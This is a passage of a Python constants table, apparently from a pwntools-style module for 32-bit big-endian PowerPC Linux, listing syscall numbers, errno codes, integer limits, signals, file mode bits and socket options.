Constant('__NR_mremap',163) __NR_setresuid = Constant('__NR_setresuid',164) __NR_getresuid = Constant('__NR_getresuid',165) __NR_query_module = Constant('__NR_query_module',166) __NR_poll = Constant('__NR_poll',167) __NR_nfsservctl = Constant('__NR_nfsservctl',168) __NR_setresgid = Constant('__NR_setresgid',169) __NR_getresgid = Constant('__NR_getresgid',170) __NR_prctl = Constant('__NR_prctl',171) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',172) __NR_rt_sigaction = Constant('__NR_rt_sigaction',173) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',174) __NR_rt_sigpending = Constant('__NR_rt_sigpending',175) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',176) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',177) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',178) __NR_pread = Constant('__NR_pread',179) __NR_pwrite = Constant('__NR_pwrite',180) __NR_chown = Constant('__NR_chown',181) __NR_getcwd = Constant('__NR_getcwd',182) __NR_capget = Constant('__NR_capget',183) __NR_capset = Constant('__NR_capset',184) __NR_sigaltstack = Constant('__NR_sigaltstack',185) __NR_sendfile = Constant('__NR_sendfile',186) __NR_getpmsg = Constant('__NR_getpmsg',187) __NR_putpmsg = Constant('__NR_putpmsg',188) __NR_vfork = Constant('__NR_vfork',189) __NR_ugetrlimit = Constant('__NR_ugetrlimit',190) __NR_readahead = Constant('__NR_readahead',191) __NR_pciconfig_read = Constant('__NR_pciconfig_read',198) __NR_pciconfig_write = Constant('__NR_pciconfig_write',199) __NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',200) __NR_multiplexer = Constant('__NR_multiplexer',201) __NR_getdents64 = Constant('__NR_getdents64',202) __NR_pivot_root = Constant('__NR_pivot_root',203) __NR_madvise = Constant('__NR_madvise',205) __NR_mincore = Constant('__NR_mincore',206) __NR_gettid = Constant('__NR_gettid',207) __NR_tkill = Constant('__NR_tkill',208) __NR_setxattr = Constant('__NR_setxattr',209) __NR_lsetxattr = Constant('__NR_lsetxattr',210) __NR_fsetxattr = Constant('__NR_fsetxattr',211) __NR_getxattr = Constant('__NR_getxattr',212) __NR_lgetxattr = Constant('__NR_lgetxattr',213) __NR_fgetxattr = Constant('__NR_fgetxattr',214) __NR_listxattr = Constant('__NR_listxattr',215) __NR_llistxattr = Constant('__NR_llistxattr',216) __NR_flistxattr = Constant('__NR_flistxattr',217) __NR_removexattr = Constant('__NR_removexattr',218) __NR_lremovexattr = Constant('__NR_lremovexattr',219) __NR_fremovexattr = Constant('__NR_fremovexattr',220) __NR_futex = Constant('__NR_futex',221) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',222) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',223) __NR_tuxcall = Constant('__NR_tuxcall',225) __NR_io_setup = Constant('__NR_io_setup',227) __NR_io_destroy = Constant('__NR_io_destroy',228) __NR_io_getevents = Constant('__NR_io_getevents',229) __NR_io_submit = Constant('__NR_io_submit',230) __NR_io_cancel = Constant('__NR_io_cancel',231) __NR_set_tid_address = Constant('__NR_set_tid_address',232) __NR_fadvise64 = Constant('__NR_fadvise64',233) __NR_exit_group = Constant('__NR_exit_group',234) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',235) __NR_epoll_create = Constant('__NR_epoll_create',236) __NR_epoll_ctl = Constant('__NR_epoll_ctl',237) __NR_epoll_wait = Constant('__NR_epoll_wait',238) __NR_remap_file_pages = Constant('__NR_remap_file_pages',239) __NR_timer_create = Constant('__NR_timer_create',240) __NR_timer_settime = Constant('__NR_timer_settime',241) __NR_timer_gettime = Constant('__NR_timer_gettime',242) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',243) __NR_timer_delete = Constant('__NR_timer_delete',244) __NR_clock_settime = Constant('__NR_clock_settime',245) __NR_clock_gettime = Constant('__NR_clock_gettime',246) __NR_clock_getres = Constant('__NR_clock_getres',247) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',248) __NR_swapcontext = Constant('__NR_swapcontext',249) __NR_tgkill = Constant('__NR_tgkill',250) __NR_utimes = Constant('__NR_utimes',251) __NR_statfs64 = Constant('__NR_statfs64',252) __NR_fstatfs64 = Constant('__NR_fstatfs64',253) __NR_rtas = Constant('__NR_rtas',255) __NR_mbind = Constant('__NR_mbind',259) __NR_get_mempolicy = Constant('__NR_get_mempolicy',260) __NR_set_mempolicy = Constant('__NR_set_mempolicy',261) __NR_mq_open = Constant('__NR_mq_open',262) __NR_mq_unlink = Constant('__NR_mq_unlink',263) __NR_mq_timedsend = Constant('__NR_mq_timedsend',264) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',265) __NR_mq_notify = Constant('__NR_mq_notify',266) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',267) __NR_kexec_load = Constant('__NR_kexec_load',268) __NR_add_key = Constant('__NR_add_key',269) __NR_request_key = Constant('__NR_request_key',270) __NR_keyctl = Constant('__NR_keyctl',271) __NR_waitid = Constant('__NR_waitid',272) __NR_ioprio_set = Constant('__NR_ioprio_set',273) __NR_ioprio_get = Constant('__NR_ioprio_get',274) __NR_inotify_init = Constant('__NR_inotify_init',275) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',276) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',277) __NR_spu_run = Constant('__NR_spu_run',278) __NR_spu_create = Constant('__NR_spu_create',279) __NR_pselect6 = Constant('__NR_pselect6',280) __NR_ppoll = Constant('__NR_ppoll',281) __NR_unshare = Constant('__NR_unshare',282) __NR_splice = Constant('__NR_splice',283) __NR_tee = Constant('__NR_tee',284) __NR_vmsplice = Constant('__NR_vmsplice',285) __NR_openat = Constant('__NR_openat',286) __NR_mkdirat = Constant('__NR_mkdirat',287) __NR_mknodat = Constant('__NR_mknodat',288) __NR_fchownat = Constant('__NR_fchownat',289) __NR_futimesat = Constant('__NR_futimesat',290) __NR_newfstatat = Constant('__NR_newfstatat',291) __NR_unlinkat = Constant('__NR_unlinkat',292) __NR_renameat = Constant('__NR_renameat',293) __NR_linkat = Constant('__NR_linkat',294) __NR_symlinkat = Constant('__NR_symlinkat',295) __NR_readlinkat = Constant('__NR_readlinkat',296) __NR_fchmodat = Constant('__NR_fchmodat',297) __NR_faccessat = Constant('__NR_faccessat',298) __NR_get_robust_list = Constant('__NR_get_robust_list',299) __NR_set_robust_list = Constant('__NR_set_robust_list',300) __NR_move_pages = Constant('__NR_move_pages',301) __NR_getcpu = Constant('__NR_getcpu',302) __NR_epoll_pwait = Constant('__NR_epoll_pwait',303) __NR_utimensat = Constant('__NR_utimensat',304) __NR_signalfd = Constant('__NR_signalfd',305) __NR_timerfd = Constant('__NR_timerfd',306) __NR_eventfd = Constant('__NR_eventfd',307) __NR_sync_file_range2 = Constant('__NR_sync_file_range2',308) __NR_fallocate = Constant('__NR_fallocate',309) __NR_subpage_prot = Constant('__NR_subpage_prot',310) __NR_timerfd_settime = Constant('__NR_timerfd_settime',311) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',312) __NR_signalfd4 = Constant('__NR_signalfd4',313) __NR_eventfd2 = Constant('__NR_eventfd2',314) __NR_epoll_create1 = Constant('__NR_epoll_create1',315) __NR_dup3 = Constant('__NR_dup3',316) __NR_pipe2 = Constant('__NR_pipe2',317) __NR_inotify_init1 = Constant('__NR_inotify_init1',318) __NR_perf_event_open = Constant('__NR_perf_event_open',319) __NR_preadv = Constant('__NR_preadv',320) __NR_pwritev = Constant('__NR_pwritev',321) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',322) __NR_fanotify_init = Constant('__NR_fanotify_init',323) __NR_fanotify_mark = Constant('__NR_fanotify_mark',324) __NR_prlimit64 = Constant('__NR_prlimit64',325) __NR_socket = Constant('__NR_socket',326) __NR_bind = Constant('__NR_bind',327) __NR_connect = Constant('__NR_connect',328) __NR_listen = Constant('__NR_listen',329) __NR_accept = Constant('__NR_accept',330) __NR_getsockname = Constant('__NR_getsockname',331) __NR_getpeername = Constant('__NR_getpeername',332) __NR_socketpair = Constant('__NR_socketpair',333) __NR_send = Constant('__NR_send',334) __NR_sendto = Constant('__NR_sendto',335) __NR_recv = Constant('__NR_recv',336) __NR_recvfrom = Constant('__NR_recvfrom',337) __NR_shutdown = Constant('__NR_shutdown',338) __NR_setsockopt = Constant('__NR_setsockopt',339) __NR_getsockopt = Constant('__NR_getsockopt',340) __NR_sendmsg = Constant('__NR_sendmsg',341) __NR_recvmsg = Constant('__NR_recvmsg',342) __NR_recvmmsg = Constant('__NR_recvmmsg',343) __NR_accept4 = Constant('__NR_accept4',344) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',345) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',346) __NR_clock_adjtime = Constant('__NR_clock_adjtime',347) __NR_syncfs = Constant('__NR_syncfs',348) __NR_sendmmsg = Constant('__NR_sendmmsg',349) __NR_setns = Constant('__NR_setns',350) __NR_process_vm_readv = Constant('__NR_process_vm_readv',351) __NR_process_vm_writev = Constant('__NR_process_vm_writev',352) __NR_finit_module = Constant('__NR_finit_module',353) __NR_kcmp = Constant('__NR_kcmp',354) __NR_sched_setattr = Constant('__NR_sched_setattr',355) __NR_sched_getattr = Constant('__NR_sched_getattr',356) __NR_renameat2 = Constant('__NR_renameat2',357) __NR_seccomp = Constant('__NR_seccomp',358) __NR_getrandom = Constant('__NR_getrandom',359) __NR_memfd_create = Constant('__NR_memfd_create',360) __NR_bpf = Constant('__NR_bpf',361) __NR_execveat = Constant('__NR_execveat',362) __NR_switch_endian = Constant('__NR_switch_endian',363) __NR_userfaultfd = Constant('__NR_userfaultfd',364) __NR_membarrier = Constant('__NR_membarrier',365) __NR_mlock2 = Constant('__NR_mlock2',378) __NR_copy_file_range = Constant('__NR_copy_file_range',379) __NR_preadv2 = Constant('__NR_preadv2',380) __NR_pwritev2 = Constant('__NR_pwritev2',381) __NR_kexec_file_load = Constant('__NR_kexec_file_load',382) __NR_statx = Constant('__NR_statx',383) __NR_pkey_alloc = Constant('__NR_pkey_alloc',384) __NR_pkey_free = Constant('__NR_pkey_free',385) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',386) __NR_rseq = Constant('__NR_rseq',387) __NR_io_pgetevents = Constant('__NR_io_pgetevents',388) __NR_semtimedop = Constant('__NR_semtimedop',392) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_clone3 = Constant('__NR_clone3',435) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = 